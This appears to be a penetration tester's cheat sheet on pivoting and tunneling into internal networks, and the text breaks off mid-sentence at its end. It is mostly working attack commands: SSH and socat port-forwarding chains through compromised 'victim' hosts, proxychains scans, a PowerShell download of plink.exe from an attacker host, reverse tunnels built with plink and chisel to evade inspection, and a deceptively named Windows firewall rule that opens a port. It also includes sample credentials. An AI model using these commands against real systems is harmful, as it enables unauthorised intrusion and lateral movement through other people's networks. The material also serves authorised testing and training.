Forwarding, Tunneling and redirections

Socat

If Socat is not on the target system, upload a static binary.

This will listen to port 5555 and forward it to the given IP on the given port deeper in the target’s network:

socat -ddd TCP-LISTEN:5555,reuseaddr,fork TCP:10.4.247.215:5432

Proxychains

! If proxychains is slow, especially while port scanning, try to reduce the following parameters:

# Some timeouts in milliseconds
tcp_read_time_out 1500
tcp_connect_time_out 800

Single pivoting

Create a SOCKS proxy from the attacker system to the victim:

ssh -N -D 127.0.0.1:9990 <username>@$victim

Configure proxychains to use this SOCKS proxy. In /etc/proxychains.conf, set

socks4 127.0.0.1 9990

Now, proxychain can be prepended to commands, which dynamically redirects the packets through the sock proxy. E.g. the following scans with nmap on the victim host:

proxychains nmap -p1-1024 -sT -Pn 127.0.0.1

Tip: Use proxychains3 / proxychains4 if something doesn’t work.

Double pivoting

Create a SOCKS proxy from the attacker system to the victim:

ssh -N -D 127.0.0.1:9990 <username>@$first_victim

Note: If forwarding doesn’t work (all the time), make sure to have

TCPKeepAlive yes
AllowTCPForwarding yes

activated in the sshd_file of the victim SSH server(s)!

Option 0

Use SSH proxyHost to connect to the first and then to the second host via one SOCKS proxy. In this case, the proxychains configuration file must have only one socks entry.

ssh -N -D 127.0.0.1:9990 -J $user@$jump_host user@$victim

Option 1

Create on $first_victim a tunnel to the $second_victim
```
ssh -N -D 127.0.0.1:9991 -i lr root@$second_victim
```
Add the second proxy to the proxychains configuration.
```
socks4 127.0.0.1 9990
socks4 127.0.0.1 9991
```

With this option, proxychains works, but the proxy on port 9990 cannot be used to reach targets in the second network. To work with Firefox, it has to incapsulated with proxychains (and no FF proxy)

MOZ_DISABLE_CONTENT_SANDBOX=1 proxychains4 firefox

Option 2

Unsure if this works | Create a second SOCKS proxy on the local system.

proxychains ssh -N -D 127.0.0.1:9991 <username>@$first_victim

Now, proxychain can be used. (See here for source.)

User-compiled proxy server

See local_proxy.go. Change the ports, compile it with go build local_proxy.go and upload it.

Netcat

Port forwarding

Forwards port 4444 to 5555 on the same/another system:

ncat -l 4444 --sh-exec "ncat 127.0.0.1 5555"
ncat -l 4444 --sh-exec "ncat 10.4.220.215 5555"

Or just with nc:

mknod mypipe p
nc -l -p 4444 < mypipe | nc 127.0.0.1 22 >mypipe

SSH

Forward remote port to the local machine:

ssh -L...

Forward local port on a remote machine to the local machine:

ssh -R...

The network layout is A -> B -> C -> D.

A is my local host
B ist the target1 host
C is the target2 host.
D ist the target3 host.

Scenario 0: Tunnel vom A to A (local port forwarding)

Scenario: You need to forward packets from port 4444 to 5555 on the same system.

Option 1: Use SSH with localhost:

ssh -N -v -L 127.0.0.1:4444:127.0.0.1:5555 $user@localhost

Option 2: Use Socat:

socat -ddd TCP-LISTEN:4444,reuseaddr,fork TCP:$locaIP:5555

Scenario 1: Tunnel from A to B

On system A, open a tunnel which opens local A:5554 which is tunneled to B:5555:

ssh -N -v -L 127.0.0.1:5554:192.168.10.2:5555 user@192.168.10.2

Scenario 2: Tunnel from B to A

On system B, open a connection to A. This opens A:4141, which can be used to reach B:4444.

ssh -N -R 127.0.0.1:4141:127.0.0.1:4444 naturtrunken@192.168.10.1

Here, the port is on the same system B.

Scenario 3: Tunnel from B to A to reach C

On system B, open a connection to A. This opens A:4141, which can be used to reach C:4444.

ssh -N -R 127.0.0.1:4141:10.10.1.3:4444 naturtrunken@192.168.10.1

Here, the port is on the remote system C.

Alternative: Open to connections:

Reverse connection to your own host and in the same command
forward connection to the next host (could also be localhost).

ssh -v -N -R 127.0.0.1:2222:127.0.0.1:6666 -L 127.0.0.1:6666:192.168.220.7:22 dummy@192.168.45.248

This opens A:2222 -> B:6666->B:6666 -> C:22

Scenario 4: Tunnel from A via A->B->C->D

Prerequisites: You have direct access to B and can connect from A to B.

On system B, start SSH listener to the outside (A) which forwards data to the internal host C, which has a direct connection to host D.

ssh -N -v -L 0.0.0.0:5555:$hostD:$targetPortD $user@$hostC

Example: We are on system B:

ssh -N -v -L 0.0.0.0:5555:172.16.1.4:445 admin@10.10.1.3

Now we can connect from our host A:

smbclient -p 5555 //192.168.10.2/secretdir -U peter --password=Sumer2020

Scenario 5: Tunnel from A to D via A<-B->C->D

Prerequisites: You have direct access to B and can connect from B to A.

On system B:

Open a tunnel on B=(localhost):6666 to D=172.16.1.4:4242 via jumphost C=10.10.1.3:22
ssh -N -v -L 0.0.0.0:6666:172.16.1.4:4242 database_admin@10.10.1.3
Start a tunnel from B back to A=192.168.10.1.
ssh -N -v -R 192.168.10.1:4141:127.0.0.1:6666 naturtrunken@192.168.10.1

Now, you have on your own host A port 4141 listening, which will be routet to host D, port 4242.

Scenario 6: Tunnel from A to D via A->B->C, C->D

Scenario: You have direct access to B and C and need to forward A:4141 to D:5555.

On system A:

Configure proxychains to foward all traffic to B:9000 (see above).
After all is set up, you can call
proxychains4 ./myApplication
which wants access to port D:5555 via local A:4141 via A:proxychains,B:socks,C:SSHtunnel

On system B:

Open a SOCKS proxy port on B:9000 which forwards all incoming traffic to C:(all ports, SOCKS).
ssh -N -D 0.0.0.0:9000 $user@10.10.1.3

On system C:

Open a local port forwarding from C:4141 to D:5555.
ssh -N -v -L 127.0.0.1:4141:172.16.1.4:5555 $user@localhost
Note: We can also use localhost to open a port forwarding from C:8080 to C:8081 on the same system! (If you do not have credentials for localhost ssh, just use socat, see above)

SOCKS proxy tunneling

Like above, use

ssh -N -D 127.0.0.1:9990 <username>@$victim

to create a SOCKS tunnel to another system. Now, e.g. perform a port scan from the remote system:

proxychains nmap --top-ports=20 -sT -Pn 172.16.40.0/24

SSHuttle

SSH-based forwarding of TCP packets on given networks.

Scenario: You want to have access to an internal network 10.10.0.0/16 from your own system via an attacked system where you have root privileges.

Example: On your own client:

# sshuttle -r $user@$target:2222 10.10.0.0/16 172.16.219.0/24

This add a local route to both networks via the target host.

Older note:

sshuttle –dns ‑r <target> <network> ‑x <exclude_network> (eg. sshuttle –dns ‑r aklingler01 130.83.0.0/16 ‑x 192.168.0.0/16

Plink

Plink (in /usr/share/windows-binaries) can be used on a Windows system behind a firewall to open a reverse tunnel to the attacking machine.

Example 1: Execute this from the remote Windows system. This opens a local port 5555 which can be used to open a RDP connection.

// Upload
powershell wget -Uri http://$attacker/plink.exe -OutFile C:\Windows\Temp\plink.exe
// Reverse shell to an own system with a dummy user/password.
C:\Windows\Temp\plink.exe -ssh -l dummy -pw dummy -R 127.0.0.1:5555:127.0.0.1:3389 192.168.45.248

// For example, open RDP now on your own system.
$ xfreerdp /u:$username /p:$pass /v:127.0.0.1:5555

Example 2: This command opens a local listener which receives packets from all interfaces (0.0.0.0) on port 4444 and forwards it to the remote system 192.168.119.158 on port 4444 via the system 192.168.119.111.

plink.exe -L 0.0.0.0:4444:192.168.119.158:4444 -N root@192.168.119.111

SSH tunneling via proxy

Via NC

Scenario:

The attacker has a useful program on a Windows system
The Windows system is connected to Kali
The victim has a connection to Kali
The Windows system should route packets through Kali to the victim

Attacker1 (with windows program)

ssh -L 5938:192.168.57.2:5940 dussel@192.168.57.2

Attacker0 (Kali/has connection to the victim)

nc -l -p 5940 -c "nc 127.0.0.1 5939"

Victim (has reverse connection to attacker0)

plink-new.exe -v -pw PPPPAAASSS USER@10.10.14.37 -R 5939:localhost:5939

Via SOCKS proxy

You have an open SOCKS proxy (e.g. with chisel). You want to use SSH over it, which cannot use SOCKS natively. Use the ProxyCommand. This uses a SOCKS proxy via ncat for the SSH client!

ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' $user@$systemC

Note: In this example,

A is your system from which this command is executed,
your SOCKS proxy terminates on B (e.g. with chisel) and
$systemC is here another system which is reachable via the target

Via Meterpreter

You have exploited host A and want to exploit host B, which can only be reached via A.

Start a meterpreter session on A.
Bring current session into the background
Set up a route to B via A
msf> route add $victimBSubnet $netmask $session_id
Set up the second exploit normally.

This sets up a route to a network via host A.

rinetd

TCP redirections (no UDP — no standard FTP!) Define in /etc/rinetd.conf the source address/port and target address/port and restart the service.

Using IPv6 for IPv4-based tools

Scenario: You found an open remote port via IPv6 and want to use a tool against it, which doesn’t have IPv6 support or has problems with it.

From Linux

Use the chiron proxy (documentation). The following command will create a proxy listener on 127.0.0.3 which can used by all tools to connect to the given destination IPv6 address.

root@imac2019-kali:/opt/Chiron/bin# venv/bin/python2.7 chiron_proxy.py eth0 lo 127.0.0.1 127.0.0.3 -d 2001:a61:5e2:b201:45ae:677a:96cc:aff9

From Windows

1. In the Windows target system as administrator open a listening port. In this example:

Listen on the IPv6 interface
Listen on port 80
Redirect all traffic to port 445.

netsh interface portproxy add v4tov6 listenport=445 connectport=80 connectaddress=fe80::...:7636

2. On the attacker system, start socat to open a local listener which redirects all traffic to the given IPv6 address and port.

# socat TCP-LISTEN:445,reuseaddr,fork TCP6:[2001:...:7636]:445

3. Start Chiron proxy to open a local IPv4 listening port which redirects everything to the local (socat) IPv6 port. Destination is the localhost loopback address.

# venv/bin/python2.7 chiron_proxy.py eth0 lo 127.0.0.1 127.0.0.3 -d fe80::...

4. Now, access is possible via local IPv4 tool. Example:

smbclient \\\\127.0.0.3\\share -U joe

With just nc

This listens on 4141 and forwards all to 5555. Depending on the nc version, -e could be used instead of ‑c. May not work.

nc -l -p 4141 -c "nc 10.0.0.4 5555"

Windows

In Windows, plink.exe (part of the PuTTY project) can be used to forward ports on a remote windows system to a local Kali.

Since 2018, Windows contains SSH executeables in %SYSTEMROOT%\System32\OpenSSH per default.

Local port forwarding with netsh

This needs administrator privilege.

The following opens a local listener on 4141 and forwards it to the remote host on the same port:

netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4141 connectaddress=10.10.10.18 connectport=4141

Check with this command open port forwarding:

netsh interface portproxy show all

(!) Afterwards, you may have to open a port in the firewall! See the Windows Firewall/netsh section.

Example with reverse SSH tunnel and local port forwarding

Scenario: You want to access C=10.10.10.5:5555 from A:4141 via Windows system B, where you have administrator privileges.

Open a reverse SSH tunnel to open A:4141 which goes to B:4141:
ssh -N -R 127.0.0.1:4141:127.0.0.1:4141 dummy@$attackerIP
Add port forwarding in an administrative cmd on the Windows system B:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4141 connectaddress=10.10.10.5 connectport=5555
Open firewall on B:
netsh advfirewall firewall add rule name="port_forward_ssh_or_some_non_suspicous_name_here" protocol=TCP dir=in localip=$ipFromThisSystemB localport=4141 action=allow
Do your stuff
Remove firewall hole afterwards:
netsh advfirewall firewall delete rule name="port_forward_ssh_or_some_non_suspicous_name_here"
Remove port forwarding afterwards:
netsh interface portproxy del v4tov4 listenport=4141 listenaddress=$ipFromThisSystemB

PowerShell script

Use the following script on a Windows system to start a primitive port forwarder:

# Define the local listener and the remote endpoint
$localPort = 5555
$remoteHost = "10.10.10.4"
$remotePort = 4444

# Create a TCP listener on the local machine
$listener = [System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Any, $localPort)
$listener.Start()
Write-Host "Listening on port $localPort..."

while ($true) {
    # Accept incoming client connection
    $client = $listener.AcceptTcpClient()
    $clientStream = $client.GetStream()
    Write-Host "Client connected."

    # Connect to the remote server
    $remoteClient = New-Object System.Net.Sockets.TcpClient
    $remoteClient.Connect($remoteHost, $remotePort)
    $remoteStream = $remoteClient.GetStream()
    Write-Host "Connected to remote $remoteHost:$remotePort."

    # Create buffers for data transmission
    $buffer = New-Object byte[] 1024

    # Forward data from the local client to the remote server
    Start-Job {
        while ($clientStream.DataAvailable) {
            $readBytes = $clientStream.Read($buffer, 0, $buffer.Length)
            $remoteStream.Write($buffer, 0, $readBytes)
        }
    }

    # Forward data from the remote server back to the local client
    Start-Job {
        while ($remoteStream.DataAvailable) {
            $readBytes = $remoteStream.Read($buffer, 0, $buffer.Length)
            $clientStream.Write($buffer, 0, $readBytes)
        }
    }
}

With ncat

Upload ncat.exe from p61-windows-binaries and see above.

HTTP CONNECT

HTTP connect can forward requests:

# nc -vvn 192.168.1.130 8888 (UNKNOWN) [192.168.1.130] 8888 (?) open
CONNECT 10.11.1.203:80 HTTP/1.0

HTTP/1.0 200 Connection established
Proxy-agent: tinyproxy/1.8.3

HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1

HTTPtunnel

Assume, you want to access a SSH server on $victim via HTTP. On the attacker (plays the server role), forward incoming traffic to 8080 to localhost:22.

hts -F localhost:22 8080

On the victim system, connect to the attacker via port 80 and open local port 3333.

htc -F 3333 $attacker_ip:8080

Now, on the victim, a SSH tunnel can be build back to the attacker via

ssh -p3333 localhost

PWnat

https://tools.kali.org/maintaining-access/pwnat

HTTP tunneling with Chisel

Chisel can tunnel SSH data via HTTP to evade deep-packed inspection filters.

Provide chisel for the proper architecture on HTTP.
Upload the binary on the target, e.g. into /tmp/chisel
Start the server on your own system
chisel server --port 8080 --reverse
Start the client on the target
/tmp/chisel client $ownIp:8080 R:socks > /dev/null 2>&1 &
If something does not work, make sure to have the same version on both ends. And, try to get output locally, see maybe the if then page for redirecting STDERR and STDOUT to a local netcat listener.
Use now :1080 als SOCKS proxy port on your system.
Some